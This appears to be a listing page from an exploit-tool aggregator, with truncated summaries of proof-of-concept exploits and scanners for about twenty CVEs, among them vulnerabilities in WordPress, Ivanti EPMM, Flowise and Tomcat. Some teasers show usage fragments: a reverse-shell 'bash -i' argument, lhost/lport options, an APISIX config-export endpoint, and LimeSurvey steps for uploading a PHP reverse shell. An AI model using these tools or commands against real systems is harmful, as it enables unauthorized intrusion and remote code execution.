CVE-2025-3515

CVE-2025-3515 - WordPress File Upload RCE Usage root@kitploit: python3 exploit.py Overview CVE-2025-3515 is a file upload vulnerability in the "Drag and Drop Multiple File Upload for Contact Form 7" WordPress plugin that allows unauthenticated attackers to upload malicious files and achieve remot...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Detection Artifact Generator for Oracle E-Business Suite CVE-2025-61882 See our blog post for technical details Detection in Action root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i &...

CVE-2025-49844-RediShell-Vulnerability-Scanner

CVE-2025-49844 RediShell Vulnerability Scanner Description A tool for checking the CVE-2025-49844 RediShell vulnerability in Redis. The utility performs safe checks without actually exploiting the vulnerability. Vulnerability CVE-2025-49844 - A Use-After-Free vulnerability in the Redis Lua...

CVE-2026-1281-Ivanti-EPMM-RCE

CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE ⚠️ DISCLAIMER: This PoC is provided solely for educational and security research purposes. Unauthorized use is illegal. 🎯 Description Complete Proof of Concept PoC for exploiting the CVE-2026-1281 and CVE-2026-1340 vulnerabilities affecting...

POC-CVE-2026-1357

CVE-2026-1357 WPvivid Backup & Migration RCE PoC Discovered by: Lucas Montes NiRoX Vulnerability: Unauthenticated Arbitrary File Upload leading to Remote Code Execution RCE CVE ID: CVE-2026-1357 CVSS: Critical9.8 Status: Patched in version 0.9.124 Overview This repository contains the analysis an...

CVE-2026-61511-PoC-Exploit

CVE-2026-61511 – vBulletin Pre‑Auth RCE Exploit & Verifier ⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only. Unauthorized access to computer systems is illegal under CFAA US, Computer...

CVE-2025-60500

CVE-2025-60500 — Insecure file upload / logic flaw in QDocs Smart School Smart School 7.1 Publication date: 2025-10-17 Author / Discoverer: Lebas Vivien Status: Reserved CVE: CVE-2025-60500 reserved Summary An insecure file upload / logic flaw in QDocs Smart School — School Management System 7.1...

CVE-2021-45232-RCE

CVE-2021-45232-RCE CVE-2021-45232-RCE - Multi-threaded batch vulnerability detection FOFA Query title="Apache APISIX Dashboard" Affected Scope Apache APISIX Dashboard 2.10.1 POC: root@kitploit: IP:PORT/apisix/admin/migrate/export If this helps, please give the author a star before you leave, than...

LetsDefend-SOC336-Windows-OLE-Zero-Click-RCE-Exploitation-Detected-CVE-2025-21298-

LetsDefend-SOC336-Windows-OLE-Zero-Click-RCE-Exploitation-Detected-CVE-2025-21298- We are expected to investigate a critical alert reporting a Windows OLE zero-click RCE exploitation CVE-2025-21298 delivered via a malicious RTF attachment. Investigation of the alert from LetsDefend On 4 February...

Proxyshell-Scanner

Proxyshell-Scanner nuclei scanner for Proxyshell RCE CVE-2021-34423,CVE-2021-34473,CVE-2021-31207 discovered by orange tsai in Pwn2Own, which affect microsoft exchange server. POC Resource https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html...

CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC

CVE-2023-27372 — SPIP Unauthenticated remote code execution vulnerability in SPIP before 4.2.1. The oubli parameter in the password reset form is vulnerable to PHP object injection due to mishandled deserialization. A crafted serialized payload is executed server-side as the web user, and the...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution CVSS 10.0 Critical | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 and 3.0.6 Overview A critical remote code execution vulnerability in the CustomMCP node of FlowiseAI Flowise. The convertToValidJSONString function passes user-supplied...

CVE-2026-15409-15410-Framework

1 CVE-2026-15409 | 2 CVE-2026-15410 SonicWall SMA1000 - SSRF → Erlang RCE → Root Privesc Exploit Framework & Safe Detection Tool For authorized security testing only. ⚖️ Legal Disclaimer & Responsible Use This tool is provided for educational and authorized penetration testing purposes only. The...

CVE-2020-2551

Twitter: @Hktalent3135773 0、how get pro exploit tools? see https://github.com/hktalent/CVE-2020-2551/issues/5 1、CVE-2020-2551 CVE-2020-2551 poc exploit python example keys: GIOP corba How use root@kitploit: python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat urls.txt|sort -u|xargs -I %...

Limesurvey-RCE

Limesurvey-RCE LimeSurvey Authenticated RCE Proof of Concept: 1. Create your files config.xml and php reverse shell files 2. Create archive with these files 3. Login with credentials 4. Go Configuration - Plugins - Upload & Install 5. Choose your zipped file 6. Upload 7. Install 8. Activate plugi...

CVE-2025-32433-PoC

CVE-2025-32433: Erlang/OTP SSH Unauthenticated RCE PoC This repository contains a Proof-of-Concept PoC for CVE-2025-32433, a critical unauthenticated Remote Code Execution RCE vulnerability affecting the SSH server implementation in Erlang/Open Telecom Platform OTP. This PoC is designed for...

Unihackers---CVE-2025-55182-

ITALIAN GANG React2Shell PoC This repository provides a minimal intentionally vulnerable environment to test security scanners against the recent critical RCE vulnerability React2Shell affecting React Server Components and Next.js. CVE-2025-55182 : A pre-authentication remote code execution...

PoC-CVE-2026-33017

PoC: CVE-2026-33017 Langflow = 1.8.1 is vulnerable to a remote, unauthenticated RCE https://nvd.nist.gov/vuln/detail/CVE-2026-33017 Usage root@kitploit: usage: CVE-2026-33017.py -h --lhost LHOST --lport LPORT target PoC exploit: CVE-2026-33017 positional arguments: target Target hostname options:...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC Overview This repo containts proof of concept demonstrating CVE-2025-59528 in Flowise v3.0.5 The vulnerability exists in the customMCP node, where user-supplied mcpServerConfig input is processed in a way that leads to JavaScript code execution via...

Tomcat-CVE-2024-50379-Poc

Tomcat-CVE-2024-50379-Poc !IMPORTANT For learning and exchange only, do not use for illegal purposes RCE through a race condition in Apache Tomcat reference: https://github.com/iSee857/CVE-2024-50379-PoC Demo Usage root@kitploit: go run main.go -u http://localhost:8080/ Todo Detection mechanism f...